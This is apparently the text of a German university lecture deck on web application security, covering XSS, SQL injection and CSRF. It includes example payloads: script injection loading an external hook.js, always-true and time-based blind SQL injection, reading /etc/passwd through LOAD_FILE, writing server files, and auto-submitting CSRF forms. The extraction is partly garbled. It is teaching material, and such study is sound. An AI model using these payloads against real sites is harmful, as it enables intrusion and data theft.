„Die Webseite als Eintrittspunkt“ Welche Gefahren gehen vom

Werbung
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik „Die Webseite als Eintrittspunkt“
Welche Gefahren gehen vom Firmenauftritt im Internet aus?
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Bekannt gewordene Schwachstellen & Angriffe
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Bekannt gewordene Schwachstellen & Angriffe
Quelle: http://www.vulnerability-db.com/dev/index.php/2014/02/06/german-telekom-bug-bounty-3x-remote-vulnerabilities/
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Bekannt gewordene Schwachstellen & Angriffe
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Bekannt gewordene Schwachstellen & Angriffe
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Vergleich Web-App vs. Applikation
Web-Applikation (PHP, JSP, ASP, Ruby, …)
Anwendung (C,C++, VB, C#, Delphi, …)
• 
Prinzipiell weltweit abrufbar
Häufig Installation notwendig
• 
• 
Verwenden von standardisierten
Protokollen
• 
In der Regel nur lokal verfügbar
• 
Häufig sehr typische Entwurfs-Pattern
(MVC)
• 
Gefundene Schwachstelle nicht sofort
ausnutzbar
• 
Zustandslos → Session-Management wird
notwendig
• 
Zustandsbehaftet
• 
• 
Kommunikation lässt sich mit Proxy leicht
untersuchen und verändern
Kommunikationsflüsse für Anwender nicht
ersichtlich
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Webanwendungen
• 
Komplexe Architekturen, basierend auf mehreren Plattformen und Protokollen
Web Anwendung HTTP Network Browser Mobil API Client WebServer Apache, IIS PresentaEon Layer Medien AuGereitung von Daten für Client Anwendungsserver Kapselt die Anwendungs Logic AuthenEfizierung, Session Management Erstellt Inhalte im User Context Datenbank Server Liefert Inhalte auf Anfrage des Anwendungsserver z.B. User InformaEonen, Bestände ■ 
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Webanwendungen
● 
● 
● 
Browser Mobil API Kommunikation i.d.R. über HTTP
Hauptsächlich Austausch von Web-Inhalten (HTML, Bilder, CSS)
Vollständig unter der Kontrolle des Clients
Client WebServer Apache, IIS PresentaEon Layer Medien AuGereitung von Daten für Client Anwendungsserver Kapselt die Anwendungs Logic AuthenEfizierung, Session Management Erstellt Inhalte im User Context Datenbank Server Liefert Inhalte auf Anfrage des Anwendungsserver z.B. User InformaEonen, Bestände ■ 
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Webanwendungen
Internet
Intranet
Fire
wall Client Port 80/443 Fire
wall Datenbank Webserver SAP SMB Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Auftreten von Schwachstellen
Plaform AdministraEon Bekannte Schwachstellen, z.B. Exploit für Apache Schwache Verschlüsselung z.B. bei älterer Version von IIS AdministraEve FunkEonen nicht ausreichend geschützt, z.B. „versteckt“ Fehlerhade KonfiguraEon UnnöEge FunkEonen akEviert → z.B. Server Stats Anwendung InjecEon → Cookies, SQL, XSS, CSRF, … Parameter-­‐ManipulaEon Brute Force Fehlende Validierung Session Management Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Gründe für Angriffe
Quelle: http://hackmageddon.com/2013-cyber-attacks-statistics/
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Verwendete Angriffstechniken
Quelle: http://paulsparrows.files.wordpress.com/2013/09/august-2013-techniques.png?w=538&h=279
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik OWASP Best Practice Guides
J2EE
Windows Communication Foundation (WCF)
Encryption
SSL
SDL
Authentication
Virtual Patching Best
Practices
Session Management
Web Application Firewalls
Application Code Review
OWASP Good Component Practices
Project
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik OWASP ZED Attack Proxy
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik OWASP Top 10
Zusammenfassung der Schwachstellen, die am häufigsten bei der Überprüfung
von Webseiten erkannt wurden.
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik CWE/SANS Top 25
Quelle:http://cwe.mitre.org/top25/
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Definition von Cross Site Scripting (XSS)
XSS-Schwachstellen treten auf, wenn eine Anwendung nicht
vertrauenswürdige Daten entgegen nimmt und ohne
entsprechende Validierung und Kodierung an einen
Webbrowser sendet.
XSS erlaubt es einem Angreifer, Scriptcode im Browser
eines Opfers auszuführen und somit Benutzersitzungen zu
übernehmen, Seiteninhalte zu verändern oder den Benutzer
auf bösartige Seiten umzuleiten.
Quelle: hhps://www.owasp.org/images/b/b8/OWASPTop10_DE_Version_1_0.pdf Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Unterscheidungen von XSS
XSS wird je nach Stelle der Infektion bzw. Persistenz unterschieden:
• 
Reflektiert oder nicht-persistent
→ sehr häufig / einfach
• 
Persistent oder beständig
→ für Angriffe wünschenswert
• 
DOM-basiert oder lokal
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Quelle: hhps://isc.sans.edu/diary.html?storyid=9130 Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Häufige Beispiele für XSS
• 
• 
JavaScript-Code alert
Eingebunden mit script-Element
• 
• 
Harmlos, dient zur Veranschaulichung
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
<script type="text/javascript">alert("XSS");</script>
• 
Nachladen von Java Script aus externen Quellen
<script src="http://bit.ly/1mHqD70" />
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Reflektiertes XSS
• 
• 
Nicht-persistentes oder reflektiertes Cross Site Scripting
Benutzereingabe wird vom Server direkt zurückgeliefert
• 
• 
Nur temporär, nicht gespeichert → ohne manipulierte URL oder Formular nicht enthalten
Beispiel: Suche auf einer Webseite
Aufruf: http://example.com/?suche=Suchbegriff
Server (PHP): echo
“<p>Sie
suchten nach: $_GET[‘suche’]</p>”;
Ausgabe:
<p>Sie suchten nach: Suchbegriff</p>
Manipuliert:
http://example.com/?suche=<script type="text/
javascript">alert("XSS")</script>
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Persistentes XSS
• 
Schadcode wird auf dem Webserver gespeichert
–  bei jeder passenden Anfrage ausgeliefert
• 
Beispiel: Daten werden in einer Datenbank gespeichert und “irgendwann” wieder ausgegeben
–  Gästebuch auf einer Webseite
–  Kommentare in Foren
–  Zuletzt angemeldete/neu registrierte Benutzer…
Manipulierte Nachricht: Eine wirklich sehr informative Website!<script
type="text/javascript">alert("XSS")</script>
Konkreter Angriff: Eine wirklich sehr informative Website!<script
src="http://pb.c.ouk/hook.js" />
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik DOM basiertes XSS
• 
• 
Nur Clientseitig
Beispiel: JavaScript wird zum Suchen, Markieren oder Selektieren in bereits geladener Seite
verwendet.
Bild-Quelle: http://www.it-visions.de/DOTNET/ASPNET2/Artikel/ASPNET_AJAX_Einfuehrung.aspx
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Zusammenfassung der verschiedenen XSS-Arten
Reflektiertes XSS
Persistentes XSS
DOM-based XSS
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik SQL-Injections
SQLI bezeichnen die Vermischung von SQL-Abfragen
und von Daten, die mit den Queries kombiniert werden
sollen. Durch die Vermischung ändert sich der Sinn der
Abfrage.
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Structured Query Language - einfache Abfrage
SELECT
FROM
WHERE
id, name, mail, gender
Accounts
id = 41;
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Login-Anfrage per PHP (vereinfacht)
$pwdFromUserInput = $_POST[“password”];
Eingegebenes Passwort aus POST-Variable auslesen.
$query = “Select * from accounts where pwd = md5(‘$pwdFromUserInput’);”;
Datenbank-Abfrage definieren, die Benutzer anhand seines verhashten Kennworts zurück gibt.
$result = mysql_query($query);
Anfrage an Datenbank abschicken.
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Login-Anfrage per PHP (vereinfacht)
Benutzer hat als Passwort „Geheim12345!“ eingegeben:
$pwdFromUserInput = $_POST[“password”];
$query = “Select * from accounts where pwd = md5(‘$pwdFromUserInput’);”;
$result = mysql_query($query);
Inhalt der Variablen Query:
Select * from accounts where pwd = md5(‘Geheim12345!’);
Nutzerdaten sind in $query deutlich zu
erkennen.
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik SQL Injection durch immer wahre Aussage
Benutzer hat als Passwort „xxx‘) or (‘1’ = ‘1” eingegeben:
$pwdFromUserInput = $_POST[“password”];
$query = “Select * from accounts where pwd = md5(‘$pwdFromUserInput’);”;
$result = mysql_query($query);
Inhalt der Variablen Query:
Select * from accounts where pwd = md5(‘xxx’) or (‘1’ = ‘1’);
Grenzen zwischen Nutzdaten und
query verschwimmen.
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Öffentliche Fehlermeldungen liefern Hilfe für SQL Injections
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Durch SQL-Abfragen lässt sich Struktur der Datenbank rekonstruieren
Durch einfache SQL-Abfragen lassen sich die Struktur der Datenbank, der Tabellen, die
angemeldeten Benutzer und vieles mehr herausfinden.
Alle Tabellen incl. Details in der Datenbank anzeigen: SELECT * FROM
informaEon_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘informaEon_schema’ Alle Spalten einer Tabelle anzeigen: SELECT table_schema, table_name, column_name FROM informaEon_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘informaEon_schema’ ■ 
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Gezielte Suche nach Tabellen mit Passwörtern
Auch komplexere Abfragen per SQL-­‐InjecEon sind möglich. Welche Tabelle besitzt eine Spalte deren name "pass" enthält? (Passwort, password, passwd) SELECT table_schema, table_name FROM informaEon_schema.columns WHERE column_name LIKE '%pass%'; Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Blind SQL-Injections ermöglichen Datenübertragung ohne Darstellung am
Bildschirm
Durch Blind InjecEon kann der Benutzer InformaEonen aus der Datenbank abrufen, obwohl diese nicht am Bildschirm dargestellt werden: Wenn die driMe Stelle des Passworts ein "a" ist wird die weitere Bearbeitung um 5 Sekunden pausiert – wenn nicht wird sie ohne Zeitverzögerung fortgesetzt. SELECT if (substr(password 3, 1) == 'a', SLEEP(5), '') FROM Accounts WHERE ID=324345; Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik SQL-Injection mit Zugriff auf Dateisystem
Durch falsch gesetzte BenutzerberechEgungen sind auch Zugriffe auf das Dateisystem des Servers möglich! Dateien des Servers lesen: SELECT '1' FROM
Accounts WHERE 1=2 UNION ALL SELECT LOAD_FILE('/etc/passwd') Dateien des Servers schreiben: SELECT 'pause' FROM
dual INTO
dumpfile 'C:\Autoexec.bat'; Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik XKCD ist super! :)
Quelle: hhp://xkcd.com/327/ Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik SQL-Injection Tools
Spezifische, freie Tools um SQL-Injections zu erproben:
❖  sqlmap (http://sqlmap.org/)
❖  SQL Inject Me (Firefox-Plugin,
https://addons.mozilla.org/de/firefox/addon/sql-inject-me/)
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Cross Site Request Forgery
Bei CSRF versucht ein Angreifer einen legitimen
Benutzer dazu zu veranlassen, ungewollt eine Aktion in
seinem (Berechtigungs-) Kontext auszuführen.
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Cross Site Request Forgery
inject request
POST/GET
-Request
Response
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Demo - HTML-Webfrontend für Cross Site Request Forgery
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Demo - PHP-Backend für Cross Site Request Forgery
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Demo - Cross Site Request Forgery - Angriff mit erwarteten POSTParametern
<script>
function SendAttack () {
form.email = "[email protected]";
// send to profile.php
form.submit();
}
</script>
<body onload="javascript:SendAttack();">
<form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny">
<input type="hidden" name="lastname" value="Joke">
<input type="hidden" name="email">
</form>
</body>
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Demo - Cross Site Request Forgery - Angriff mit erwarteten GETParametern
<img src=” http://victim.example.com/profile.php?action=delete&userID=2231&confirmed=true />
Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Noch Fragen?
Herunterladen